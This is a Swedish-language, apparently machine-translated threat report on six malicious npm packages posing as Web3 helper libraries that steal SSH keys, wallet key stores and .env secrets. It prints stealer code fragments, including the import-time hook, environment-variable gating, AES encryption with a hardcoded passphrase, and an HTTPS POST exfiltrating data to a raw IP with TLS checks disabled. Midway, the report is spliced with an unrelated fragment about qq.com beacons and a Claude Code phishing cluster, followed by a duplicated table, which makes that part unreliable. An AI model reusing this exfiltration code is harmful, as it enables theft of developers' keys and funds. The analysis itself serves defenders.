TL; DR
Den 6 maj 2026, en enda npm-utgivare, namikazesarada010206, publicerade sex skadliga paket riktade mot utvecklarnas ekosystem Ethereum, Solidity och DeFi.
Paketen, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsoch web3-utils-core, använde rimliga namn utformade för att se ut som hjälpbibliotek för populära Web3-verktyg.
Alla sex paketen innehöll samma telemetry.js fil. Filen var byte-identisk i hela klustret, med SHA-256:
Skadlig programvara körs inte vid installationstillfället. Det finns ingen preinstall or postinstall krok. Istället aktiveras den när paketet importeras via require().
Den detaljen spelar roll.
Implantatet väntar tills en utvecklare faktiskt använder paketet. Sedan kontrollerar det om arbetsstationen ser ut som en riktig Ethereum/Solidity-utvecklingsmiljö. Det letar efter Alchemy- eller Infura-nycklar, privata nycklar, mnemonics, deployer-nycklar eller en lokal Foundry-katalog.
Om värden matchar samlar stjälaren in privata SSH-nycklar, Foundry / Geth / Brownie-plånboksnyckellager, .env* filer och känsliga miljövariabler. Den krypterar paketet med AES-256-GCM med hjälp av en hårdkodad lösenfras och exfiltrerar det till en rå IPv4 C2-slutpunkt med TLS-verifiering inaktiverad.
Xygenis system för tidig varning om skadlig kod (MEW) bekräftade att alla sex paketen var skadliga. Rapportpaketet för borttagning av npm-registret väntar.
Klustret: Sex paket, en utgivare
Utgivarens konto namikazesarada010206 var länkad till den overifierade Gmail-adressen namikazesarada010206@gmail.com.
Kampanjen publicerades under en enda dag den 6 maj 2026. Alla sex paket versionerades som 1.0.0, hade noll runtime-beroenden och levererade endast tre filer:
package.json index.js telemetry.js De deklarerade också samma källkodsförråd:
https://github.com/harunosakura030303-maker/evmchain-config De tre första paketen upptäcktes av MEW-skannrar vid första publiceringen. De återstående tre tvångsflaggades efter analytikergranskning av utgivarens npm-profil. När samma byte-identiska telemetry.js bekräftades i hela klustret, stängdes de som skadliga på grund av konsekvens.
| Paket | Version | npm Publicerad | MEW-biljett | Slutsats |
|---|---|---|---|---|
| viem-kärna | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Skadlig |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Skadlig |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Skadlig |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Illvillig, genom konsekvens |
| gjuteri-utils | 1.0.0 | 2026-05-06 | #51071 | Illvillig, genom konsekvens |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Illvillig, genom konsekvens |
Namnstrategin är enkel men effektiv.
Dessa paket imiterar inte exakta uppströmsnamn. Istället använder de rimliga "verktygs"-suffix som -core, -utilsoch -utils-coreDet gör att de ser ut som kompletterande bibliotek som en utvecklare kan förvänta sig att se nära Web3-verktyg.
| Skadligt paket | Legitimt mål |
|---|---|
| viem-kärna | viem, en populär Ethereum TypeScript-klient |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, en vanlig Solidity-utvecklingsmiljö |
| evm-utils | Generiskt EVM-verktygsnamnområde |
| gjuteri-utils | gjuteri, en Solidity-verktygskedja |
| web3-utils-core | web3-utils, Web3.js-hjälpare |
Detta är mönstret för ”kompletterande paket”: inte ”Jag är det riktiga paketet”, utan ”Jag ser ut som en rimlig hjälpare runt det riktiga paketet”.
För DeFi-utvecklare som rör sig snabbt är det tillräckligt för att skapa risk.
Vad händer när paketet importeras
Attackkedjan är liten, avsiktlig och fokuserad på kryptoutvecklingsmiljöer.
Det finns ingen installationskrok. Istället innehåller varje paket en index.js som exporterar stub-funktionalitet och sedan laddar den skadliga telemetrimodulen.
require('./telemetry').init(); Det betyder att skadlig programvara aktiveras vid första importen.
Det är operativt användbart för angriparen. Många skannrar och sandlådor fokuserar på beteendet vid installation. Detta paket väntar tills det faktiskt används av en utvecklare, ett byggskript, en testsvit eller en runtime-sökväg.
Aktiveringsgrind: Aktiveras endast på riktiga Web3-utvecklararbetsstationer
Den viktigaste delen av implantatet är aktiveringsgrinden.
Skadlig programvara söker efter miljövariabler som vanligtvis finns på Ethereum/Solidity-utvecklarmaskiner:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Den kontrollerar också om Foundry verkar vara installerat:
fs.existsSync(path.join(os.homedir(), '.foundry')) Om ingetdera villkoret är sant returnerar funktionen och gör ingenting.
Det gör paketet tystare i generiska analysmiljöer. En sandlåda utan Foundry, Alchemy-nycklar, Infura-nycklar, privata nycklar eller mnemonik kan få en import som ser harmlös ut.
På en matchande värd väntar skadlig programvara 60 till 90 sekunder innan den samlas in:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Fördröjningen minskar den uppenbara korrelationen mellan import och exfiltrering. .unref() call låter också värdprocessen avslutas normalt om paketet importerades i ett kortlivat skript.
Detta är inte ett bullrigt "smash-and-grab"-beteende. Det är en riktad stöldfunktion som är utformad för att undvika att köras om inte utvecklarmiljön är värd att stjäla från.
Vad stjälaren samlar in
När aktiveringsgaten har passerat samlas skadlig kod in från källor som är viktigast för Web3-utveckling: privata nycklar, plånboksnyckellager, distributionsuppgifter, molnhemligheter, npm-tokens och lokal projektkonfiguration.
| Källa | Vad som samlas in |
|---|---|
| process.env | Alla variabler som matchar /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Filer som innehåller PRIVATE KEY eller BEGIN OPENSSH, inklusive hela filinnehållet |
| ~/.foundry/nyckelbutiker/* | Foundry plånboksnyckelfiler |
| ~/.ethereum/nyckelbutik/* | Geth-plånboksnyckelfiler |
| ~/.brownie/konton/* | Brownie plånbok nyckelfiler |
| ${cwd}/.env | Fullständigt filinnehåll |
| ${cwd}/.env.local | Fullständigt filinnehåll |
| ${cwd}/.env.production | Fullständigt filinnehåll |
| ${cwd}/.env.development | Fullständigt filinnehåll |
| os.hostname() | Värdmetadata |
| krypto.randomUUID() | Offer-/sessionsidentifierare |
| Date.now() | Tidsstämpel för samling |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA-tokens är:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Vi har inte kunnat bekräfta om telemetrin var operatörens egen analys eller en separat intäktsgenererad kanal. ATTA-tokens är desamma i båda de exempel vi undersökte.
Kluster B: heibai
claude.hk OAuth-nätfiske + ANTHROPIC_BASE_URL-kapning
Urvalet från den 1 april är den grövre, tidigare delen av kampanjen.
heibai:2.1.88-claude.hk-4 publicerades av wuguoqiangvip28, ett konto skapat 7 juni 2025. Paketet versionsförvandlade sig uttryckligen mot den legitima 2.1.88 Antropisk frigörelse.
Den bryr sig inte om CA-cert MITM. Istället ljuger den för användaren om OAuth-slutpunkten.
De skadliga tilläggen utöver den läckta Claude Code-källkoden inkluderar:
| Källa | Vad som samlas in |
|---|---|
| process.env | Alla variabler som matchar /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Filer som innehåller PRIVATE KEY eller BEGIN OPENSSH, inklusive hela filinnehållet |
| ~/.foundry/nyckelbutiker/* | Foundry plånboksnyckelfiler |
| ~/.ethereum/nyckelbutik/* | Geth-plånboksnyckelfiler |
| ~/.brownie/konton/* | Brownie plånbok nyckelfiler |
| ${cwd}/.env | Fullständigt filinnehåll |
| ${cwd}/.env.local | Fullständigt filinnehåll |
| ${cwd}/.env.production | Fullständigt filinnehåll |
| ${cwd}/.env.development | Fullständigt filinnehåll |
| os.hostname() | Värdmetadata |
| krypto.randomUUID() | Offer-/sessionsidentifierare |
| Date.now() | Tidsstämpel för samling |
Mållistan är mycket specifik. Detta är inte generisk webbläsarstöld eller bred skrapning av autentiseringsuppgifter. Den riktar sig till utvecklare som bygger, testar, driftsätter eller driver Ethereum-applikationer.
Inkluderingen av Foundry-, Geth- och Brownie-nyckellager är särskilt viktigt. Dessa filer kan representera direkt åtkomst till plånböcker eller distributionsidentiteter. Om angriparen kan para ihop dem med lösenord, mnemonik eller miljöhemligheter kan de eventuellt flytta pengar, utge sig för att vara distributionsleverantörer eller kompromettera smarta kontraktsoperationer.
Kryptering före exfiltrering
Skadlig programvara krypterar insamlad data innan den skickas ut.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Det hårdkodade lösenfraset är:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Den slutliga nyttolasten är inslagen som JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Kryptering gör inte skadlig programvara mer avancerad i sig själv. Däremot försvårar den nätverksinspektionen. En försvarare som övervakar utgående kod skulle se en JSON-nyttolast, men inte de stulna nycklarna, plånboksfilerna eller .env innehåll utan den hårdkodade lösenfrasen och dekrypteringslogiken.
Exfiltrering till en rå IPv4 C2
Exfiltreringsvägen är hårdkodad:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Skadlig programvara skickar data till:
https://76.13.37.80:8443/api/v1/telemetry Två detaljer sticker ut.
För det första är C2 en rå IPv4-adress snarare än en domän. Det eliminerar behovet av domänregistrering och undviker vissa domänbaserade upptäckter.
För det andra inaktiveras TLS-verifiering med:
rejectUnauthorized: false Det gör att skadlig programvara kan acceptera vilket certifikat som helst, inklusive självsignerade certifikat. Med andra ord får angriparen krypterad transport utan att behöva ett giltigt offentligt certifikat.
Det finns ingen logik för återförsök och ingen reservvärd. Fel slukas tyst. Detta håller paketet tyst om C2 är offline eller oåtkomlig.
Varför denna kampanj är viktig
De flesta skadliga npm-paket riktade mot utvecklare jagar breda autentiseringsuppgifter: npm-tokens, AWS-nycklar, GitHub-tokens eller .npmrc filer.
Den här kampanjen begränsar målet.
Den letar efter tecken på att maskinen tillhör en Ethereum- eller Solidity-utvecklare. Sedan hämtar den exakt de tillgångar som är viktiga i den miljön: plånboksnyckellager, privata nycklar, mnemonik, distributionsnycklar, .env filer och SSH-nycklar.
Det gör kampanjen farligare för Web3-team än en generisk npm-stjälare.
En lyckad infektion kan avslöja:
- Distributionsplånböcker
- Smarta kontraktsadministratörsnycklar
- RPC-leverantörsnycklar
- Inloggningsuppgifter för molndistribution
- npm-publiceringstokens
- SSH-åtkomst till utvecklare eller bygginfrastruktur
- Projekthemligheter lagrade i
.envfiler - Plånboksnyckelförvaring för Foundry, Geth eller Brownie
Paketnamnen visar också tydlig social ingenjörskonst. De riktar sig mot Web3-utvecklarekosystemet genom välbekanta verktygsnamn: viem, hardhat, foundry, evmoch web3.
Aktören behöver inte kompromissa med de verkliga projekten. De behöver bara en utvecklare som installerar vad som ser ut som ett rimligt kompletterande paket.
Indikatorer för kompromiss och upptäckt
| Paket och utgivare | |
|---|---|
| Fält | Värderar |
| npm-utgivare | namikazesarada010206 |
| Utgivarens e-postadress | namikazesarada010206@gmail.com |
| e-post verifierad | Nej |
| SCM verifierade | Nej |
| Ryktespoäng | 1.0 |
| Paket | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| versioner | Alla 1.0.0 |
| Källförråd | https://github.com/harunosakura030303-maker/evmchain-config |
| Bekräftat skadlig | Alla sex paketen |
| nätverks | |
|---|---|
| Typ | Värderar |
| C2-slutpunkt | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2-porten | 8443/tcp |
| TLS-beteende | avvisaObehörig: falskt |
| nyttolastschema | {"v":2,"iv": "d": "t": } |
| Filer och hash | |
|---|---|
| Typ | Värderar |
| telemetri.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Paketlayout | paket.json, index.js, telemetri.js |
| Filantal | 3 |
| Ungefärlig totalstorlek | 3.4 KB |
Aktiveringssignaler
Skadlig programvara söker efter dessa miljövariabler:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Den kontrollerar även:
~/.foundry/ Riktade värdvägar
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Samlingsregex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Detektionsanteckningar
Flera regler fångar upp den här kampanjen utan att det krävs en fullständig beteendeanalys.
Skanna först låsfiler efter de sex skadliga paketnamnen:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Vilken match som helst i package-lock.json, yarn.lock, pnpm-lock.yaml, eller node_modules Historien bör behandlas som en allvarlig händelse.
För det andra, övervaka Node.js-processer som läser sökvägar till plånboksnyckellager:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Detta är sällan ett legitimt beteende för ett paket som importerats som ett hjälpberoende. Det är särskilt misstänkt när det följs av utgående nätverksaktivitet.
För det tredje, blockera eller varna för HTTPS-anslutningar till:
76.13.37.80:8443 Särskilt när sökvägen för förfrågan är:
/api/v1/telemetry För det fjärde, leta efter npm-paket som kombinerar dessa egenskaper:
- Ny eller lågt ansedd utgivare
- Overifierat Gmail-konto
- Web3-angränsande paketnamn
- Ingen meningsfull arkivhistorik
- Liten paketlayout
index.jssom laddar en telemetri- eller hjälpfil- Inga runtime-beroenden
- Samling av känsliga miljövariabler
- Åtkomst till plånboksnyckelförvaring
Det här mönstret är mer användbart än en enda IOC eftersom nästa paket kan ändra IP-adressen men behålla samma målinriktningslogik.
Checklista för kompromisssvar
Om en utvecklare använde ett av de sex paketen och deras miljö matchade aktiveringsgaten, ska arbetsstationen behandlas som komprometterad.
Det inkluderar maskiner med Foundry installerat, Alchemy- eller Infura-nycklar i miljön, privata nycklar, mnemonics eller distributionsnycklar.
Rekommenderat svar:
- Koppla bort värden från nätverket.
- Bevara
node_modules, låsfiler, skalhistorik och relevanta loggar för kriminalteknik. - Rotera varje SSH-tangentpar under
~/.ssh/. - Rotera plånboksnycklar för varje nyckellager under
~/.foundry,~/.ethereumoch~/.brownie. - Flytta pengar till nya plånböcker.
- Rotera varje hemlighet som lagras i
.env*filer i arkiv som utvecklaren arbetade i. - Rotera miljöhemligheter som matchar samlingens regex, inklusive AWS-nycklar, npm-tokens, distributionstokens, API-nycklar, privata nycklar, seeds och mnemonics.
- Granska moln-, npm-, GitHub-, RPC-leverantörs- och blockkedjeaktivitet sedan paketet först installerades.
- Avbilda arbetsstationen på nytt innan den återanvänds.
Vad försvarare bör ta med sig
Den här kampanjen visar hur npm typosquatting utvecklas kring värdefulla utvecklarekosystem.
Skådespelaren behövde inte uthållighet. De behövde inte förvirring. De behövde inte ens exekvering under installationen.
Istället förlitade de sig på tre saker:
- Troliga Web3-paketnamn
- Aktivering endast på riktiga kryptoutvecklingsmaskiner
- Direkt stöld av filer och hemligheter som är viktigast för Ethereum-utvecklare
Det gör kampanjen lätt att missa i bred skanning och farlig när den landar i rätt miljö.
För Web3-team är lärdomen tydlig: behandla beroendenamn som en del av er hotmodell. Ett paket som ser ut som en ofarlig hjälpare kan fortfarande bli den kortaste vägen till en plånbok som komprometteras.
Rapporterat till npm-registret. Vi kommer att uppdatera det här inlägget när utgivarkontot och paketen har tagits bort.




